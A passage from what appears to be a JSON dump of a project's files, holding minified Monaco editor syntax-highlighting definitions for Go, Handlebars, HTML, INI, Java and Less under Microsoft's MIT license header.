,\"type\",\"var\",\"bool\",\"true\",\"false\",\"uint8\",\"uint16\",\"uint32\",\"uint64\",\"int8\",\"int16\",\"int32\",\"int64\",\"float32\",\"float64\",\"complex64\",\"complex128\",\"byte\",\"rune\",\"uint\",\"int\",\"uintptr\",\"string\",\"nil\"],operators:[\"+\",\"-\",\"*\",\"/\",\"%\",\"&\",\"|\",\"^\",\"<<\",\">>\",\"&^\",\"+=\",\"-=\",\"*=\",\"/=\",\"%=\",\"&=\",\"|=\",\"^=\",\"<<=\",\">>=\",\"&^=\",\"&&\",\"||\",\"<-\",\"++\",\"--\",\"==\",\"<\",\">\",\"=\",\"!\",\"!=\",\"<=\",\">=\",\":=\",\"...\",\"(\",\")\",\"\",\"]\",\"{\",\"}\",\",\",\";\",\".\",\":\"],symbols:/[=><!~?:&|+\\-*\\/\\^%]+/,escapes:/\\\\(?:[abfnrtv\\\\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,tokenizer:{root:[[/[a-zA-Z_]\\w*/,{cases:{\"@keywords\":{token:\"keyword.$0\"},\"@default\":\"identifier\"}}],{include:\"@whitespace\"},[/\\[\\[.*\\]\\]/,\"annotation\"],[/^\\s*#\\w+/,\"keyword\"],[/[{}()\\[\\]]/,\"@brackets\"],[/[<>](?!@symbols)/,\"@brackets\"],[/@symbols/,{cases:{\"@operators\":\"delimiter\",\"@default\":\"\"}}],[/\\d*\\d+[eE]([\\-+]?\\d+)?/,\"number.float\"],[/\\d*\\.\\d+([eE][\\-+]?\\d+)?/,\"number.float\"],[/0[xX][0-9a-fA-F']*[0-9a-fA-F]/,\"number.hex\"],[/0[0-7']*[0-7]/,\"number.octal\"],[/0[bB][0-1']*[0-1]/,\"number.binary\"],[/\\d[\\d']*/,\"number\"],[/\\d/,\"number\"],[/[;,.]/,\"delimiter\"],[/\"([^\"\\\\]|\\\\.)*$/,\"string.invalid\"],[/\"/,\"string\",\"@string\"],[/`/,\"string\",\"@rawstring\"],[/'[^\\\\']'/,\"string\"],[/(')(@escapes)(')/,[\"string\",\"string.escape\",\"string\"]],[/'/,\"string.invalid\"]],whitespace:[[/[ \\t\\r\\n]+/,\"\"],[/\\/\\*\\*(?!\\/)/,\"comment.doc\",\"@doccomment\"],[/\\/\\*/,\"comment\",\"@comment\"],[/\\/\\/.*$/,\"comment\"]],comment:[[/[^\\/*]+/,\"comment\"],[/\\*\\//,\"comment\",\"@pop\"],[/[\\/*]/,\"comment\"]],doccomment:[[/[^\\/*]+/,\"comment.doc\"],[/\\/\\*/,\"comment.doc.invalid\"],[/\\*\\//,\"comment.doc\",\"@pop\"],[/[\\/*]/,\"comment.doc\"]],string:[[/[^\\\\\"]+/,\"string\"],[/@escapes/,\"string.escape\"],[/\\\\./,\"string.escape.invalid\"],[/\"/,\"string\",\"@pop\"]],rawstring:[[/[^\\`]/,\"string\"],[/`/,\"string\",\"@pop\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/handlebars.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/handlebars\",[\"require\",\"exports\"],function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=\"undefined\"==typeof monaco?self.monaco:monaco,a=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"menuitem\",\"meta\",\"param\",\"source\",\"track\",\"wbr\"];t.conf={wordPattern:/(-?\\d*\\.\\d\\w*)|([^\\`\\~\\!\\@\\$\\^\\&\\*\\(\\)\\=\\+\\[\\{\\]\\}\\\\\\|\\;\\:\\'\\\"\\,\\.\\<\\>\\/\\s]+)/g,comments:{blockComment:[\"{{!--\",\"--}}\"]},brackets:[[\"\\x3c!--\",\"--\\x3e\"],[\"<\",\">\"],[\"{{\",\"}}\"],[\"{\",\"}\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}],surroundingPairs:[{open:\"<\",close:\">\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}],onEnterRules:[{beforeText:new RegExp(\"<(?!(?:\"+a.join(\"|\")+\"))(\\\\w[\\\\w\\\\d]*)([^/>]*(?!/)>)[^<]*$\",\"i\"),afterText:/^<\\/(\\w[\\w\\d]*)\\s*>$/i,action:{indentAction:n.languages.IndentAction.IndentOutdent}},{beforeText:new RegExp(\"<(?!(?:\"+a.join(\"|\")+\"))(\\\\w[\\\\w\\\\d]*)([^/>]*(?!/)>)[^<]*$\",\"i\"),action:{indentAction:n.languages.IndentAction.Indent}}]},t.language={defaultToken:\"\",tokenPostfix:\"\",tokenizer:{root:[[/\\{\\{/,{token:\"@rematch\",switchTo:\"@handlebarsInSimpleState.root\"}],[/<!DOCTYPE/,\"metatag.html\",\"@doctype\"],[/<!--/,\"comment.html\",\"@comment\"],[/(<)(\\w+)(\\/>)/,[\"delimiter.html\",\"tag.html\",\"delimiter.html\"]],[/(<)(script)/,[\"delimiter.html\",{token:\"tag.html\",next:\"@script\"}]],[/(<)(style)/,[\"delimiter.html\",{token:\"tag.html\",next:\"@style\"}]],[/(<)([:\\w]+)/,[\"delimiter.html\",{token:\"tag.html\",next:\"@otherTag\"}]],[/(<\\/)(\\w+)/,[\"delimiter.html\",{token:\"tag.html\",next:\"@otherTag\"}]],[/</,\"delimiter.html\"],[/\\{/,\"delimiter.html\"],[/[^<{]+/]],doctype:[[/\\{\\{/,{token:\"@rematch\",switchTo:\"@handlebarsInSimpleState.comment\"}],[/[^>]+/,\"metatag.content.html\"],[/>/,\"metatag.html\",\"@pop\"]],comment:[[/\\{\\{/,{token:\"@rematch\",switchTo:\"@handlebarsInSimpleState.comment\"}],[/-->/,\"comment.html\",\"@pop\"],[/[^-]+/,\"comment.content.html\"],[/./,\"comment.content.html\"]],otherTag:[[/\\{\\{/,{token:\"@rematch\",switchTo:\"@handlebarsInSimpleState.otherTag\"}],[/\\/?>/,\"delimiter.html\",\"@pop\"],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/[ \\t\\r\\n]+/]],script:[[/\\{\\{/,{token:\"@rematch\",switchTo:\"@handlebarsInSimpleState.script\"}],[/type/,\"attribute.name\",\"@scriptAfterType\"],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/>/,{token:\"delimiter.html\",next:\"@scriptEmbedded.text/javascript\",nextEmbedded:\"text/javascript\"}],[/[ \\t\\r\\n]+/],[/(<\\/)(script\\s*)(>)/,[\"delimiter.html\",\"tag.html\",{token:\"delimiter.html\",next:\"@pop\"}]]],scriptAfterType:[[/\\{\\{/,{token:\"@rematch\",switchTo:\"@handlebarsInSimpleState.scriptAfterType\"}],[/=/,\"delimiter\",\"@scriptAfterTypeEquals\"],[/>/,{token:\"delimiter.html\",next:\"@scriptEmbedded.text/javascript\",nextEmbedded:\"text/javascript\"}],[/[ \\t\\r\\n]+/],[/<\\/script\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],scriptAfterTypeEquals:[[/\\{\\{/,{token:\"@rematch\",switchTo:\"@handlebarsInSimpleState.scriptAfterTypeEquals\"}],[/\"([^\"]*)\"/,{token:\"attribute.value\",switchTo:\"@scriptWithCustomType.$1\"}],[/'([^']*)'/,{token:\"attribute.value\",switchTo:\"@scriptWithCustomType.$1\"}],[/>/,{token:\"delimiter.html\",next:\"@scriptEmbedded.text/javascript\",nextEmbedded:\"text/javascript\"}],[/[ \\t\\r\\n]+/],[/<\\/script\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],scriptWithCustomType:[[/\\{\\{/,{token:\"@rematch\",switchTo:\"@handlebarsInSimpleState.scriptWithCustomType.$S2\"}],[/>/,{token:\"delimiter.html\",next:\"@scriptEmbedded.$S2\",nextEmbedded:\"$S2\"}],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/[ \\t\\r\\n]+/],[/<\\/script\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],scriptEmbedded:[[/\\{\\{/,{token:\"@rematch\",switchTo:\"@handlebarsInEmbeddedState.scriptEmbedded.$S2\",nextEmbedded:\"@pop\"}],[/<\\/script/,{token:\"@rematch\",next:\"@pop\",nextEmbedded:\"@pop\"}]],style:[[/\\{\\{/,{token:\"@rematch\",switchTo:\"@handlebarsInSimpleState.style\"}],[/type/,\"attribute.name\",\"@styleAfterType\"],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/>/,{token:\"delimiter.html\",next:\"@styleEmbedded.text/css\",nextEmbedded:\"text/css\"}],[/[ \\t\\r\\n]+/],[/(<\\/)(style\\s*)(>)/,[\"delimiter.html\",\"tag.html\",{token:\"delimiter.html\",next:\"@pop\"}]]],styleAfterType:[[/\\{\\{/,{token:\"@rematch\",switchTo:\"@handlebarsInSimpleState.styleAfterType\"}],[/=/,\"delimiter\",\"@styleAfterTypeEquals\"],[/>/,{token:\"delimiter.html\",next:\"@styleEmbedded.text/css\",nextEmbedded:\"text/css\"}],[/[ \\t\\r\\n]+/],[/<\\/style\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],styleAfterTypeEquals:[[/\\{\\{/,{token:\"@rematch\",switchTo:\"@handlebarsInSimpleState.styleAfterTypeEquals\"}],[/\"([^\"]*)\"/,{token:\"attribute.value\",switchTo:\"@styleWithCustomType.$1\"}],[/'([^']*)'/,{token:\"attribute.value\",switchTo:\"@styleWithCustomType.$1\"}],[/>/,{token:\"delimiter.html\",next:\"@styleEmbedded.text/css\",nextEmbedded:\"text/css\"}],[/[ \\t\\r\\n]+/],[/<\\/style\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],styleWithCustomType:[[/\\{\\{/,{token:\"@rematch\",switchTo:\"@handlebarsInSimpleState.styleWithCustomType.$S2\"}],[/>/,{token:\"delimiter.html\",next:\"@styleEmbedded.$S2\",nextEmbedded:\"$S2\"}],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/[ \\t\\r\\n]+/],[/<\\/style\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],styleEmbedded:[[/\\{\\{/,{token:\"@rematch\",switchTo:\"@handlebarsInEmbeddedState.styleEmbedded.$S2\",nextEmbedded:\"@pop\"}],[/<\\/style/,{token:\"@rematch\",next:\"@pop\",nextEmbedded:\"@pop\"}]],handlebarsInSimpleState:[[/\\{\\{\\{?/,\"delimiter.handlebars\"],[/\\}\\}\\}?/,{token:\"delimiter.handlebars\",switchTo:\"@$S2.$S3\"}],{include:\"handlebarsRoot\"}],handlebarsInEmbeddedState:[[/\\{\\{\\{?/,\"delimiter.handlebars\"],[/\\}\\}\\}?/,{token:\"delimiter.handlebars\",switchTo:\"@$S2.$S3\",nextEmbedded:\"$S3\"}],{include:\"handlebarsRoot\"}],handlebarsRoot:[[/[#/][^\\s}]+/,\"keyword.helper.handlebars\"],[/else\\b/,\"keyword.helper.handlebars\"],[/[\\s]+/],[/[^}]/,\"variable.parameter.handlebars\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/html.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/html\",[\"require\",\"exports\"],function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=\"undefined\"==typeof monaco?self.monaco:monaco,i=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"menuitem\",\"meta\",\"param\",\"source\",\"track\",\"wbr\"];t.conf={wordPattern:/(-?\\d*\\.\\d\\w*)|([^\\`\\~\\!\\@\\$\\^\\&\\*\\(\\)\\=\\+\\[\\{\\]\\}\\\\\\|\\;\\:\\'\\\"\\,\\.\\<\\>\\/\\s]+)/g,comments:{blockComment:[\"\\x3c!--\",\"--\\x3e\"]},brackets:[[\"\\x3c!--\",\"--\\x3e\"],[\"<\",\">\"],[\"{\",\"}\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}],surroundingPairs:[{open:'\"',close:'\"'},{open:\"'\",close:\"'\"},{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:\"<\",close:\">\"}],onEnterRules:[{beforeText:new RegExp(\"<(?!(?:\"+i.join(\"|\")+\"))([_:\\\\w][_:\\\\w-.\\\\d]*)([^/>]*(?!/)>)[^<]*$\",\"i\"),afterText:/^<\\/([_:\\w][_:\\w-.\\d]*)\\s*>$/i,action:{indentAction:n.languages.IndentAction.IndentOutdent}},{beforeText:new RegExp(\"<(?!(?:\"+i.join(\"|\")+\"))(\\\\w[\\\\w\\\\d]*)([^/>]*(?!/)>)[^<]*$\",\"i\"),action:{indentAction:n.languages.IndentAction.Indent}}]},t.language={defaultToken:\"\",tokenPostfix:\".html\",ignoreCase:!0,tokenizer:{root:[[/<!DOCTYPE/,\"metatag\",\"@doctype\"],[/<!--/,\"comment\",\"@comment\"],[/(<)((?:[\\w\\-]+:)?[\\w\\-]+)(\\s*)(\\/>)/,[\"delimiter\",\"tag\",\"\",\"delimiter\"]],[/(<)(script)/,[\"delimiter\",{token:\"tag\",next:\"@script\"}]],[/(<)(style)/,[\"delimiter\",{token:\"tag\",next:\"@style\"}]],[/(<)((?:[\\w\\-]+:)?[\\w\\-]+)/,[\"delimiter\",{token:\"tag\",next:\"@otherTag\"}]],[/(<\\/)((?:[\\w\\-]+:)?[\\w\\-]+)/,[\"delimiter\",{token:\"tag\",next:\"@otherTag\"}]],[/</,\"delimiter\"],[/[^<]+/]],doctype:[[/[^>]+/,\"metatag.content\"],[/>/,\"metatag\",\"@pop\"]],comment:[[/-->/,\"comment\",\"@pop\"],[/[^-]+/,\"comment.content\"],[/./,\"comment.content\"]],otherTag:[[/\\/?>/,\"delimiter\",\"@pop\"],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/[ \\t\\r\\n]+/]],script:[[/type/,\"attribute.name\",\"@scriptAfterType\"],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/>/,{token:\"delimiter\",next:\"@scriptEmbedded\",nextEmbedded:\"text/javascript\"}],[/[ \\t\\r\\n]+/],[/(<\\/)(script\\s*)(>)/,[\"delimiter\",\"tag\",{token:\"delimiter\",next:\"@pop\"}]]],scriptAfterType:[[/=/,\"delimiter\",\"@scriptAfterTypeEquals\"],[/>/,{token:\"delimiter\",next:\"@scriptEmbedded\",nextEmbedded:\"text/javascript\"}],[/[ \\t\\r\\n]+/],[/<\\/script\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],scriptAfterTypeEquals:[[/\"([^\"]*)\"/,{token:\"attribute.value\",switchTo:\"@scriptWithCustomType.$1\"}],[/'([^']*)'/,{token:\"attribute.value\",switchTo:\"@scriptWithCustomType.$1\"}],[/>/,{token:\"delimiter\",next:\"@scriptEmbedded\",nextEmbedded:\"text/javascript\"}],[/[ \\t\\r\\n]+/],[/<\\/script\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],scriptWithCustomType:[[/>/,{token:\"delimiter\",next:\"@scriptEmbedded.$S2\",nextEmbedded:\"$S2\"}],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/[ \\t\\r\\n]+/],[/<\\/script\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],scriptEmbedded:[[/<\\/script/,{token:\"@rematch\",next:\"@pop\",nextEmbedded:\"@pop\"}],[/[^<]+/,\"\"]],style:[[/type/,\"attribute.name\",\"@styleAfterType\"],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/>/,{token:\"delimiter\",next:\"@styleEmbedded\",nextEmbedded:\"text/css\"}],[/[ \\t\\r\\n]+/],[/(<\\/)(style\\s*)(>)/,[\"delimiter\",\"tag\",{token:\"delimiter\",next:\"@pop\"}]]],styleAfterType:[[/=/,\"delimiter\",\"@styleAfterTypeEquals\"],[/>/,{token:\"delimiter\",next:\"@styleEmbedded\",nextEmbedded:\"text/css\"}],[/[ \\t\\r\\n]+/],[/<\\/style\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],styleAfterTypeEquals:[[/\"([^\"]*)\"/,{token:\"attribute.value\",switchTo:\"@styleWithCustomType.$1\"}],[/'([^']*)'/,{token:\"attribute.value\",switchTo:\"@styleWithCustomType.$1\"}],[/>/,{token:\"delimiter\",next:\"@styleEmbedded\",nextEmbedded:\"text/css\"}],[/[ \\t\\r\\n]+/],[/<\\/style\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],styleWithCustomType:[[/>/,{token:\"delimiter\",next:\"@styleEmbedded.$S2\",nextEmbedded:\"$S2\"}],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/[ \\t\\r\\n]+/],[/<\\/style\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],styleEmbedded:[[/<\\/style/,{token:\"@rematch\",next:\"@pop\",nextEmbedded:\"@pop\"}],[/[^<]+/,\"\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/ini.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/ini\",[\"require\",\"exports\"],function(e,n){\"use strict\";Object.defineProperty(n,\"__esModule\",{value:!0}),n.conf={comments:{lineComment:\"#\"},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}]},n.language={defaultToken:\"\",tokenPostfix:\".ini\",escapes:/\\\\(?:[abfnrtv\\\\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,tokenizer:{root:[[/^\\[[^\\]]*\\]/,\"metatag\"],[/(^\\w+)(\\s*)(\\=)/,[\"key\",\"\",\"delimiter\"]],{include:\"@whitespace\"},[/\\d+/,\"number\"],[/\"([^\"\\\\]|\\\\.)*$/,\"string.invalid\"],[/'([^'\\\\]|\\\\.)*$/,\"string.invalid\"],[/\"/,\"string\",'@string.\"'],[/'/,\"string\",\"@string.'\"]],whitespace:[[/[ \\t\\r\\n]+/,\"\"],[/^\\s*[#;].*$/,\"comment\"]],string:[[/[^\\\\\"']+/,\"string\"],[/@escapes/,\"string.escape\"],[/\\\\./,\"string.escape.invalid\"],[/[\"']/,{cases:{\"$#==$S2\":{token:\"string\",next:\"@pop\"},\"@default\":\"string\"}}]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/java.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/java\",[\"require\",\"exports\"],function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.conf={wordPattern:/(-?\\d*\\.\\d\\w*)|([^\\`\\~\\!\\#\\%\\^\\&\\*\\(\\)\\-\\=\\+\\[\\{\\]\\}\\\\\\|\\;\\:\\'\\\"\\,\\.\\<\\>\\/\\?\\s]+)/g,comments:{lineComment:\"//\",blockComment:[\"/*\",\"*/\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"},{open:\"<\",close:\">\"}]},t.language={defaultToken:\"\",tokenPostfix:\".java\",keywords:[\"abstract\",\"continue\",\"for\",\"new\",\"switch\",\"assert\",\"default\",\"goto\",\"package\",\"synchronized\",\"boolean\",\"do\",\"if\",\"private\",\"this\",\"break\",\"double\",\"implements\",\"protected\",\"throw\",\"byte\",\"else\",\"import\",\"public\",\"throws\",\"case\",\"enum\",\"instanceof\",\"return\",\"transient\",\"catch\",\"extends\",\"int\",\"short\",\"try\",\"char\",\"final\",\"interface\",\"static\",\"void\",\"class\",\"finally\",\"long\",\"strictfp\",\"volatile\",\"const\",\"float\",\"native\",\"super\",\"while\",\"true\",\"false\"],operators:[\"=\",\">\",\"<\",\"!\",\"~\",\"?\",\":\",\"==\",\"<=\",\">=\",\"!=\",\"&&\",\"||\",\"++\",\"--\",\"+\",\"-\",\"*\",\"/\",\"&\",\"|\",\"^\",\"%\",\"<<\",\">>\",\">>>\",\"+=\",\"-=\",\"*=\",\"/=\",\"&=\",\"|=\",\"^=\",\"%=\",\"<<=\",\">>=\",\">>>=\"],symbols:/[=><!~?:&|+\\-*\\/\\^%]+/,escapes:/\\\\(?:[abfnrtv\\\\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,digits:/\\d+(_+\\d+)*/,octaldigits:/[0-7]+(_+[0-7]+)*/,binarydigits:/[0-1]+(_+[0-1]+)*/,hexdigits:/[[0-9a-fA-F]+(_+[0-9a-fA-F]+)*/,tokenizer:{root:[[/[a-zA-Z_$][\\w$]*/,{cases:{\"@keywords\":{token:\"keyword.$0\"},\"@default\":\"identifier\"}}],{include:\"@whitespace\"},[/[{}()\\[\\]]/,\"@brackets\"],[/[<>](?!@symbols)/,\"@brackets\"],[/@symbols/,{cases:{\"@operators\":\"delimiter\",\"@default\":\"\"}}],[/@\\s*[a-zA-Z_\\$][\\w\\$]*/,\"annotation\"],[/(@digits)[eE]([\\-+]?(@digits))?[fFdD]?/,\"number.float\"],[/(@digits)\\.(@digits)([eE][\\-+]?(@digits))?[fFdD]?/,\"number.float\"],[/0[xX](@hexdigits)[Ll]?/,\"number.hex\"],[/0(@octaldigits)[Ll]?/,\"number.octal\"],[/0[bB](@binarydigits)[Ll]?/,\"number.binary\"],[/(@digits)[fFdD]/,\"number.float\"],[/(@digits)[lL]?/,\"number\"],[/[;,.]/,\"delimiter\"],[/\"([^\"\\\\]|\\\\.)*$/,\"string.invalid\"],[/\"/,\"string\",\"@string\"],[/'[^\\\\']'/,\"string\"],[/(')(@escapes)(')/,[\"string\",\"string.escape\",\"string\"]],[/'/,\"string.invalid\"]],whitespace:[[/[ \\t\\r\\n]+/,\"\"],[/\\/\\*\\*(?!\\/)/,\"comment.doc\",\"@javadoc\"],[/\\/\\*/,\"comment\",\"@comment\"],[/\\/\\/.*$/,\"comment\"]],comment:[[/[^\\/*]+/,\"comment\"],[/\\*\\//,\"comment\",\"@pop\"],[/[\\/*]/,\"comment\"]],javadoc:[[/[^\\/*]+/,\"comment.doc\"],[/\\/\\*/,\"comment.doc.invalid\"],[/\\*\\//,\"comment.doc\",\"@pop\"],[/[\\/*]/,\"comment.doc\"]],string:[[/[^\\\\\"]+/,\"string\"],[/@escapes/,\"string.escape\"],[/\\\\./,\"string.escape.invalid\"],[/\"/,\"string\",\"@pop\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/less.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/less\",[\"require\",\"exports\"],function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.conf={wordPattern:/(#?-?\\d*\\.\\d\\w*%?)|([@#!.:]?[\\w-?]+%?)|[@#!.]/g,comments:{blockComment:[\"/*\",\"*/\"],lineComment:\"//\"},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\",notIn:[\"string\",\"comment\"]},{open:\"[\",close:\"]\",notIn:[\"string\",\"comment\"]},{open:\"(\",close:\")\",notIn:[\"string\",\"comment\"]},{open:'\"',close:'\"',notIn:[\"string\",\"comment\"]},{open:\"'\",close:\"'\",notIn:[\"string\",\"comment\"]}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}]},t.language={defaultToken:\"\",tokenPostfix:\".less\",identifier:\"-?-?([a-zA-Z]|(\\\\\\\\(([0-9a-fA-F]{1,6}\\\\s?)|[^[0-9a-fA-F])))([\\\\w\\\\-]|(\\\\\\\\(([0-9a-fA-F]{1,6}\\\\s?)|[^[0-9a-fA-F])))*\",identifierPlus:\"-?-?([a-zA-Z:.]|(\\\\\\\\(([0-9a-fA-F]{1,6}\\\\s?)|[^[0-9a-fA-F])))([\\\\w\\\\-:.]|(\\\\\\\\(([0-9a-fA-F]{1,6}\\\\s?)|[^[0-9a-fA-F])))*\",brackets:[{open:\"{\",close:\"}\",token:\"delimiter.curly\"},{open:\"[\",close:\"]\",token:\"delimiter.bracket\"},{open:\"(\",close:\")\",token:\"delimiter.parenthesis\"},{open:\"<\",close:\">\",token:\"delimiter.angle\"}],tokenizer:{root:[{include:\"@nestedJSBegin\"},[\"[ \\\\t\\\\r\\\\n]+\",\"\"],{include:\"@comments\"},{include:\"@keyword\"},{include:\"@strings\"},{include:\"@numbers\"},[\"[*_]?[a-zA-Z\\\\-\\\\s]+(?=:.*(;|(\\\\\\\\$)))\",\"attribute.name\",\"@attribute\"],[\"url(\\\\-prefix)?\\\\(\",{token:\"tag\",next:\"@urldeclaration\"}],[\"[{}()\\\\[\\\\]]\",\"@brackets\"],[\"[,:;]\",\"delimiter\"],[\"#@identifierPlus\",\"tag.id\"],[\"&\",\"tag\"],[\"\\\\.@identifierPlus(?=\\\\()\",\"tag.class\",\"@attribute\"],[\"\\\\.@identifierPlus\",\"tag.class\"],[\"@identifierPlus\",\"tag\"],{include:\"@operators\"},[\"@(@identifier(?=[:,\\\\)]))\",\"variable\",\"@attribute\"],[\"@(@identifier)\",\"variable\"],[\"@\",\"key\",\"@atRules\"]],nestedJSBegin:[[\"``\",\"delimiter.backtick\"],[\"`\",{token:\"delimiter.backtick\",next:\"@nestedJSEnd\",nextEmbedded:\"text/javascript\"}]],nestedJSEnd:[[\"`\",{token:\"delimiter.backtick\",next:\"@pop\",nextEmbedded:\"@pop\"}]],operators:[[\"[<>=\\\\+\\\\-\\\\*\\\\/\\\\^\\\\|\\\\~]\",\"operator\"]],keyword:[[\"(@[\\\\s]*import|![\\\\s]*important|true|false|when|iscolor|isnumber|isstring|iskeyword|isurl|ispixel|ispercentage|isem|hue|saturation|lightness|alpha|lighten|darken|saturate|desaturate|fadein|fadeout|fade|spin|mix|round|ceil|floor|percentage)\\\\b\",\"keyword\"]],urldeclaration:[{include:\"@strings\"},[\"[^)\\r\\n]+\",\"string\"],[\"\\\\)\",{token:\"tag\",next:\"@pop\"}]],attribute:[{include:\"@nestedJSBegin\"},{include:\"@comments\"},{include:\"@strings\"},{include:\"@numbers\"},{include:\"@keyword\"},[\"[a-zA-Z\\\\-]+(?=\\\\()\",\"attribute.value\",\"@attribute\"],[\">\",\"operator\",\"@pop\"],[\"@identifier\",\"attribute.value\"],{include:\"@operators\"},[\"@(@identifier)\",\"variable\"],[\"[